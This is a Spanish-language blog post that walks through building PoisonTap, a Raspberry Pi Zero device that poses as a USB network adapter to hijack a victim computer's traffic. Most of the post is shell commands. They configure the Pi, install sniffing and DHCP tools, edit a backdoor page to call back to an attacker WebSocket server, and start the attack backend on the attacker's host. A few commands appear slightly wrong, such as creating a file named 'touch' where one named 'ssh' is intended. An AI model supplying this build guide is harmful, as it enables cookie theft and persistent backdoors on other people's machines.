Mostrando las entradas con la etiqueta raspberry pi. Mostrar todas las entradas
Mostrando las entradas con la etiqueta raspberry pi. Mostrar todas las entradas

miércoles, julio 18, 2018

Como hacer un poisonTap

PoisonTap es un gran proyecto del hacker Samy Kamkar y uno de los primeros que realicé. La documentación no es tan clara como yo hubiese querido, así que hice este pequeño resumen de instrucciones:

Requisitos: 

- Raspberry pi zero
- Ubuntu Linux 17/18 instalado
- Cable mini USB
- Memoria Micro-SD

Instalar raspbian en sd 



Instalar y ejecutar etcher 

cd Downloads
chmod a+x Etcher-linux-x64.AppImage
./Etcher-linux-x64.AppImage


Configurar la raspberry para que funcione como adaptador ethernet. 

Vamos a la ruta donde está montada la partición boot de la memoria sd (asumamos que es /media/user/boot, donde user es tu usuario de Ubuntu)

Editar /media/user/boot/config.txt y agregar dtoverlay=dwc2

echo "dtoverlay=dwc2" >> /media/user/boot/config.txt

Crear archivo vacío de nombre ssh (por defecto está deshabilitado el acceso sshs)

touch /media/user/boot/touch 

Editar /media/user/boot/cmdline.txt. Insertar el siguiente texto "modules-load=dwc2,g_ether" después de rootwait. Preservando los espacios de separación. 

sed -i 's/rootwait/rootwait modules-load=dwc2,g_ether/' /media/user/boot/cmdline.txt

Conectarse al dispositivo mediante ssh 

Con las opciones por defecto, el dispositivo no se conecta (como adaptador ethernet)

Para conseguirlo, hay que realizar los siguientes pasos: 

1. Ir a configuración de red 
2. ipv6 debe estar deshabilitado.
3. ipv4 debe estar como solo local (Local Link Only) 
4. Apagar y prender el adaptador de red desde la configuración. 

Una vez que diga "conectado" debes ejecutar:

ssh pi@raspberrypi.local  (directamente con la ip no funciona en la mayoría de los casos) 
La contraseña por defecto es raspberry.

IP FORWARDING IN THE HOST

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE  (eth0 interfase con internet en host) 

IP_PC=$(ifconfig | grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' | grep -Eo '([0-9]*\.){3}[0-9]*' | grep -v '127.0.0.1')
echo $IP_PC | sudo tee /etc/resolv.conf
sudo route add default gw $IP_PC


Configurar el DNS 
echo "nameserver 8.8.8.8" | sudo tee /etc/resolv.conf


Configurar Raspberry Pi 
echo -e "\nauto usb0\nallow-hotplug usb0\niface usb0 inet static\n\taddress 1.0.0.1\n\tnetmask 0.0.0.0" >> /etc/network/interfaces
echo -e "dwc2\ng_ether" >> /etc/modules (verificar)
sudo sed --in-place "/exit 0/d" /etc/rc.local
echo "/bin/sh /home/pi/poisontap/pi_startup.sh" >> /etc/rc.local
mkdir /home/pi/poisontap
chown -R pi /home/pi/poisontap
apt-get update && apt-get upgrade
apt-get -y install isc-dhcp-server dsniff screen nodejs

Luego, 

nano poisontap/backdoor.html (cambiar la url, var socket = new WebSocket('ws://:1337');) 

Luego copiar el archivo de configuración de DCHP. 

sudo cp -f dhcpd.conf /etc/dhcp/dhcpd.conf


SERVER 

Ejecutar en el servidor host del ataque. 

sudo apt-get install git npm
sudo npm install websocket
curl -sL https://deb.nodesource.com/setup_7.x | sudo -E bash -
sudo apt-get install nodejs
git clone https://github.com/samyk/poisontap
cd poisontap
sudo node backend_server.js &

Fuentes: